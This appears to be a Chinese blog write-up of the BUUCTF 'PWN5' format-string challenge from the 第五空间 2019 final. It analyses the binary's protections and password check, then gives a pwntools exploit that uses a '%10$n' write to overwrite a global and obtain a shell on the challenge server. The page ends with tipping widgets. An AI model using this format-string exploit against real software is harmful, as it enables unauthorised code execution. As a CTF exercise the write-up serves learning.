[第五空间2019 决赛]PWN5-BUUCTF-格式化字符串

题目:

看一下版本和保护机制:

有canary,栈溢出无望。

IDA看看:

第一眼就看到了'system',看一下条件,这里的atoi函数指的是把字符串转换成整数,而'nptr'就是输入的'passwd',再看看另外一个'dword_804C044'表示这个'0x804C044'地址,那意思就是如果输入的'passwd'的值与'dword_804C044'相等就行了,那就改写一下'0x804C044'的值。

不过再看一眼,上面写了一行代码,就是:

read(fd, &dword_804C044, 4u);

这个表示从上面的文件中读取4个字节的字符,并将读取的数据存储到 'dword_804C044 '指向的内存位置中。而且这里还有两个输入,那就可以一开始就打包发送这个地址,让它的值变成4,然后第二次再输入4就可以了,不过要先看看偏移量:

 数了一下,偏移量为10。

exp:

from pwn import *

context.log_level = 'debug'

#r = process('./pwn')       #本地 
r = remote("node4.buuoj.cn",25015)      #远程
r.recvuntil("your name:")
payload1 = p32(0x804C044) + b'%10$n' 
r.sendline(payload1)

r.recvuntil("your passwd:")


payload2 = '4'
r.sendline(payload2)

r.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

余切66

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值